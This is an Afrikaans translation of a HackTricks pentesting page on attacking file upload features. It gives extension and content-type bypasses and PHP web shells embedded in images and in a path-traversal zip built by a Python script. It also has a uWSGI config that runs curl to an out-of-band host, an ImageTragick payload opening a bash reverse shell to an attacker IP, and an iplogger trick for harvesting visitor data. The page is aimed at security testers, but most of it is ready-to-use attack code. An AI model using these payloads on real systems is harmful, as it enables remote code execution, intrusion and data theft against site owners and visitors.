.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
Lêeroplaai
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
As jy belangstel in 'n hakloopbaan en die onhackbare wil hack - ons is aan die aanstel! (vloeiend in Pools geskrewe en gesproke vereis).
{% embed url="https://www.stmcyber.com/careers" %}
Algemene metodologie vir leeroplaai van lêers
Ander nuttige uitbreidings:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Werking in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Oorbrugging van lêeruitbreidingskontroles
- As dit van toepassing is, kontroleer die vorige uitbreidings. Toets hulle ook met 'n paar hoofletters: pHp, .pHP5, .PhAr ...
- Kontroleer die byvoeging van 'n geldige uitbreiding voor die uitvoeringsuitbreiding (gebruik ook vorige uitbreidings):
- lêer.png.php
- lêer.png.Php5
- Probeer om spesiale karakters aan die einde toe te voeg. Jy kan Burp gebruik om al die ascii en Unicode karakters te brute force. (Let daarop dat jy ook kan probeer om die voorheen genoemde uitbreidings te gebruik)
- lêer.php%20
- lêer.php%0a
- lêer.php%00
- lêer.php%0d%0a
- lêer.php/
- lêer.php.\
- lêer.
- lêer.php....
- lêer.pHp5....
- Probeer om die beskermings te omseil deur die uitbreidingsontleder van die bedienerkant met tegnieke soos dubbeling van die uitbreiding of byvoeging van rommel data (nul byte) tussen uitbreidings. Jy kan ook die vorige uitbreidings gebruik om 'n beter lading voor te berei.
- lêer.png.php
- lêer.png.pHp5
- lêer.php#.png
- lêer.php%00.png
- lêer.php\x00.png
- lêer.php%0a.png
- lêer.php%0d%0a.png
- lêer.phpJunk123png
- Voeg 'n ander laag van uitbreidings by die vorige kontrole:
- lêer.png.jpg.php
- lêer.php%00.png%00.jpg
- Probeer om die uitvoeringsuitbreiding voor die geldige uitbreiding te plaas en hoop dat die bediener verkeerd geconfigureer is. (nuttig om Apache-foutkonfigurasies te benut waar enigiets met uitbreiding** .php, maar nie noodwendig eindig in .php** sal kode uitvoer):
- bv: lêer.php.png
- Gebruik NTFS alternatiewe datastroom (ADS) in Windows. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode uitbreiding en voor 'n toegestane een. As gevolg hiervan sal 'n leë lêer met die verbode uitbreiding op die bediener geskep word (bv. "lêer.asax:.jpg"). Hierdie lêer kan later gewysig word deur ander tegnieke te gebruik, soos die gebruik van sy kort lêernaam. Die "::$data" patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon by te voeg om verdere beperkings te omseil (bv. "lêer.asp::$data.")
- Probeer om die lêernaamgrense te breek. Die geldige uitbreiding word afgesny. En die skadelike PHP word agtergelaat. AAA<--SNIP-->AAA.php
# Linux maksimum 255 karakters
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by
# Laai die lêer op en kontroleer die respons hoeveel karakters dit toelaat. Laat ons sê 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Maak die lading
AAA<--SNIP 232 A-->AAA.php.png
Oorsteek van Inhouds-Tipe, Magiese Nommer, Kompressie & Herskalering
- Oorsteek Inhouds-Tipe kontroles deur die waarde van die Inhouds-Tipe kop in te stel op: beeld/png, teks/plain, application/octet-stream_
- Inhouds-Tipe woordelys: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- Oorsteek magiese nommer kontrole deur by die begin van die lêer die bytes van 'n regte beeld by te voeg (verwar die lêer bevel). Of stel die skaal binne die metadata in:
exiftool -Comment="<?php echo 'Bevel:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
of jy kan ook die lading direk in 'n beeld inbring:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- As kompressie by jou beeld gevoeg word, byvoorbeeld deur van standaard PHP biblioteke soos PHP-GD gebruik te maak, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die PLTE brokkie tegniek hier gedefinieer gebruik om teks in te voeg wat kompressie sal oorleef.
- Github met die kode
- Die webblad kan ook die beeld herskaal, deur byvoorbeeld die PHP-GD funksies
imagecopyresized
ofimagecopyresampled
te gebruik. Jy kan egter die IDAT brokkie tegniek hier gedefinieer gebruik om teks in te voeg wat kompressie sal oorleef. - Github met die kode
- 'n Ander tegniek om 'n lading te maak wat oorleef met 'n beeldherskalering, is om die PHP-GD funksie
thumbnailImage
te gebruik. Jy kan egter die tEXt brokkie tegniek hier gedefinieer gebruik om teks in te voeg wat kompressie sal oorleef. - Github met die kode
Ander Truuks om te kontroleer
- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te hernoem (om die uitbreiding te verander).
- Vind 'n Plaaslike Lêer Insluiting kwesbaarheid om die agterdeur uit te voer.
- Moontlike Inligtingsoptel:
- Laai veral kere (en gelyktydig) dieselfde lêer met dieselfde naam op
- Laai 'n lêer op met die naam van 'n lêer of vouer wat reeds bestaan
- Laai 'n lêer op met “.”, “..”, of “…” as sy naam. Byvoorbeeld, in Apache in Windows, as die aansoek die opgelaai lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
- Laai 'n lêer op wat moontlik nie maklik verwyder kan word nie soos “…:.jpg” in NTFS. (Windows)
- Laai 'n lêer op in Windows met ongeldige karakters soos
|<>*?”
in sy naam. (Windows) - Laai 'n lêer op in Windows deur voorbehoude (verbode) name soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9 te gebruik.
- Probeer ook om 'n uitvoerbare lêer (.exe) of 'n .html (minder verdag) op te laai wat kode sal uitvoer wanneer dit per ongeluk deur die slagoffer geopen word.
Spesiale uitbreidingstruuks
As jy probeer om lêers na 'n PHP-bediener op te laai, kyk na die .htaccess truuk om kode uit te voer.
As jy probeer om lêers na 'n ASP-bediener op te laai, kyk na die .config truuk om kode uit te voer.
Die .phar
lêers is soos die .jar
vir java, maar vir php, en kan soos 'n php-lêer gebruik word (deur dit met php uit te voer, of dit binne 'n skripsie in te sluit...)
Die .inc
uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om lêers te importeer, dus, op 'n stadium, kon iemand hierdie uitbreiding toegelaat het om uitgevoer te word.
Jetty RCE
As jy 'n XML-lêer na 'n Jetty-bediener kan opgelaai, kan jy RCE verkry omdat nuwe *.xml en *.war outomaties verwerk word. Soos genoem in die volgende beeld, laai die XML-lêer na $JETTY_BASE/webapps/
en wag vir die skaal!
uWSGI RCE
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: uWSGI RCE Exploitation.
Remote Command Execution (RCE) kwesbaarhede kan uitgebuit word in uWSGI-bedieners as jy die vermoë het om die .ini
konfigurasie lêer te wysig. uWSGI konfigurasie lêers maak gebruik van 'n spesifieke sintaksis om "sielkundige" veranderlikes, plekhouers, en operateurs in te sluit. Veral die '@' operateur, gebruik as @(lêernaam)
, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaard uitvoer toelaat. Hierdie kenmerk kan vir bose doeleindes soos Remote Command Execution of Arbitrary File Write/Read gemanipuleer word wanneer 'n .ini
konfigurasie lêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike uwsgi.ini
lêer wat verskeie skemas toon:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Die uitvoering van die lading vind plaas tydens die ontleding van die konfigurasie lêer. Vir die konfigurasie om geaktiveer en ontled te word, moet die uWSGI-proses ofwel herlaai word (moontlik na 'n ongeluk of as gevolg van 'n Versteuring van Diens-aanval) of die lêer moet ingestel word om outomaties te herlaai. Die outomatiese herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tussenposes wanneer veranderinge opgespoor word.
Dit is noodsaaklik om die lakse aard van uWSGI se konfigurasie lêerontleding te verstaan. Spesifiek kan die besproke lading ingevoeg word in 'n binêre lêer (soos 'n beeld of PDF), wat die omvang van potensiële uitbuiting verder verbreed.
wget-lêeroplaai/SSRF-truuk
In sommige gevalle mag jy vind dat 'n bediener wget
gebruik om lêers af te laai en jy kan die URL aandui. In hierdie gevalle kan die kode dalk nagaan dat die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegestane lêers afgelaai gaan word. Nietemin, hierdie nagaan kan omseil word.
Die maksimum lengte van 'n lêernaam in Linux is 255, maar wget sny die lêernaam af tot 236 karakters. Jy kan 'n lêer aflaai met die naam "A"*232+".php"+".gif", hierdie lêernaam sal die nagaan omseil (soos in hierdie voorbeeld ".gif" 'n geldige uitbreiding is) maar wget
sal die lêer hernoem na "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Let wel dat 'n ander opsie wat jy dalk oor dink om hierdie kontrole te omseil, is om die HTTP-bediener te laat herlei na 'n ander lêer, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herlei lêer aflaai met die nuwe naam. Dit sal nie werk nie tensy wget gebruik word met die parameter --trust-server-names
omdat wget die herlei bladsy sal aflaai met die naam van die lêer aangedui in die oorspronklike URL.
Gereedskap
- Upload Bypass is 'n kragtige gereedskap wat ontwerp is om Pentesters en Bug Hunters te help om lêeroplaaimeganismes te toets. Dit maak gebruik van verskeie foutbelonings tegnieke om die proses van identifisering en uitbuiting van kwesbaarhede te vereenvoudig, wat verseker dat webtoepassings deeglike assesserings ondergaan.
Van Lêeroplaai na ander kwesbaarhede
- Stel lêernaam in op
../../../tmp/lol.png
en probeer 'n padtraversal te bereik - Stel lêernaam in op
sleep(10)-- -.jpg
en jy mag dalk 'n SQL-injeksie bereik - Stel lêernaam in op
<svg onload=alert(document.domain)>
om 'n XSS te bereik - Stel lêernaam in op
; sleep 10;
om 'n paar opdraginjeksies te toets (meer opdraginjeksie truuks hier) - XSS in beeld (svg) lêeroplaai
- JS lêer oplaai + XSS = Service Workers uitbuiting
- XXE in svg-oplaai
- Oop Herlei deur 'n svg-lêer op te laai
- Probeer verskillende svg-lasladings van https://github.com/allanlw/svg-cheatsheet****
- Bekende ImageTrick kwesbaarheid
- As jy die webbediener kan aandui om 'n beeld vanaf 'n URL te vang kan jy probeer om 'n SSRF te misbruik. As hierdie beeld op 'n openbare webwerf gaan wees, kan jy ook 'n URL van https://iplogger.org/invisible/ aandui en inligting steel van elke besoeker.
- XXE en CORS omseiling met PDF-Adobe-oplaai
- Spesiaal ontwerpte PDF's vir XSS: Die volgende bladsy wys hoe om PDF-data in te spuit om JS-uitvoering te verkry. As jy PDF's kan oplaai, kan jy 'n PDF voorberei wat arbitêre JS sal uitvoer volgens die aangeduide aanwysings.
- Laai die [eicar](https://secure.eicar.org/eicar.com.txt) inhoud op om te kyk of die bediener enige antivirus het
- Kontroleer of daar enige groottebeperking is vir die oplaai van lêers
Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van hier):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV-injeksie
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML-injeksie / XSS / Oop herlei
- PNG / JPEG: Pixel-vloedaanval (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp-uitbreiding
{% embed url="https://github.com/portswigger/upload-scanner" %}
Toverkopkoptekens
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Raadpleeg https://en.wikipedia.org/wiki/List_of_file_signatures vir ander lêertipes.
Zip/Tar-lêer word outomaties ontleed opgelaai
As jy 'n ZIP kan oplaai wat binne die bediener ontleed gaan word, kan jy 2 dinge doen:
Simboliese skakel
Laai 'n skakel op wat sagte skakels na ander lêers bevat, dan, deur toegang tot die ontleedde lêers sal jy toegang kry tot die geskakelde lêers:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Ontplooi in verskillende lêers
Die onverwagte skepping van lêers in gids tydens die ontplooiing is 'n beduidende probleem. Ten spyte van aanvanklike aanames dat hierdie opstelling moontlik kan beskerm teen OS-vlak beveluitvoering deur skadelike lêeroplaaisels, kan die hiërargiese kompressie-ondersteuning en gidskruipvermoëns van die ZIP-argief-formaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontvlug deur die ontplooiingsfunksionaliteit van die geteikende aansoek te manipuleer.
'n Geoutomatiseerde uitbuiting om sulke lêers te skep is beskikbaar by evilarc op GitHub. Die nut kan gebruik word soos hieronder getoon:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Daarbenewens is die symlink truuk met evilarc 'n opsie. As die doel is om 'n lêer soos /flag.txt
te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute teëkom tydens sy werking nie.
Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n skadelike zip-lêer te skep:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Misbruik van kompressie vir lêer spuiting
Vir verdere besonderhede kyk na die oorspronklike pos in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Skep 'n PHP Shell: PHP-kode is geskryf om opdragte uit te voer wat deur die
$_REQUEST
veranderlike gestuur word.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- Lêer Spuiting en Gekomprimeerde Lêer Skepping: Meervoudige lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Wysiging met 'n Hex-redakteur of vi: Die name van die lêers binne die zip word verander deur vi of 'n hex-redakteur te gebruik, waar "xxA" na "../" verander word om deur gids te navigeer.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Laai hierdie inhoud met 'n beelduitbreiding op om die kwesbaarheid te misbruik (ImageMagick, 7.0.1-1) (vorm die exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Inbedding PHP Shell op PNG
Inbedding 'n PHP shell in die IDAT brokkie van 'n PNG-lêer kan effektief sekere beeldverwerkingoperasies omseil. Die funksies imagecopyresized
en imagecopyresampled
van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir die verkleining en hermonstering van beelde, onderskeidelik. Die vermoë van die ingebedde PHP shell om ongeaffekteer te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gevalle.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word verskaf in die volgende artikel: "Encoding Web Shells in PNG IDAT chunks". Hierdie bron bied 'n omvattende begrip van die proses en sy implikasies.
Meer inligting in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Poliglote Lêers
Poliglote lêers dien as 'n unieke instrument in sibersekerheid, wat optree as kameleons wat geldig in meervoudige lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n GIFAR, 'n hibried wat as beide 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie koppeling nie; kombinasies soos GIF en JS of PPT en JS is ook moontlik.
Die kernnut van poliglote lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe skerm. 'n Algemene praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir oplaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) veroorsaak word, te verminder. Nietemin kan 'n poligloot, deur te voldoen aan die strukturele kriteria van meervoudige lêertipes, hierdie beperkings stiekem omseil.
Ten spyte van hul aanpasbaarheid, ondervind poliglote wel beperkings. Byvoorbeeld, terwyl 'n poligloot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, mag die sukses van sy oplaai afhang van die platform se lêeruitbreidingsbeleid. As die stelsel streng is oor toelaatbare uitbreidings, mag die bloot strukturele tweeledigheid van 'n poligloot nie voldoende wees om sy oplaai te waarborg nie.
Meer inligting in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Verwysings
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
As jy belangstel in 'n hackingsloopbaan en die onhackbare wil hack - ons is aan die werf! (vlot geskrewe en gesproke Pools benodig).
{% embed url="https://www.stmcyber.com/careers" %}
Leer AWS-hacking van niks tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hackingswenke deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.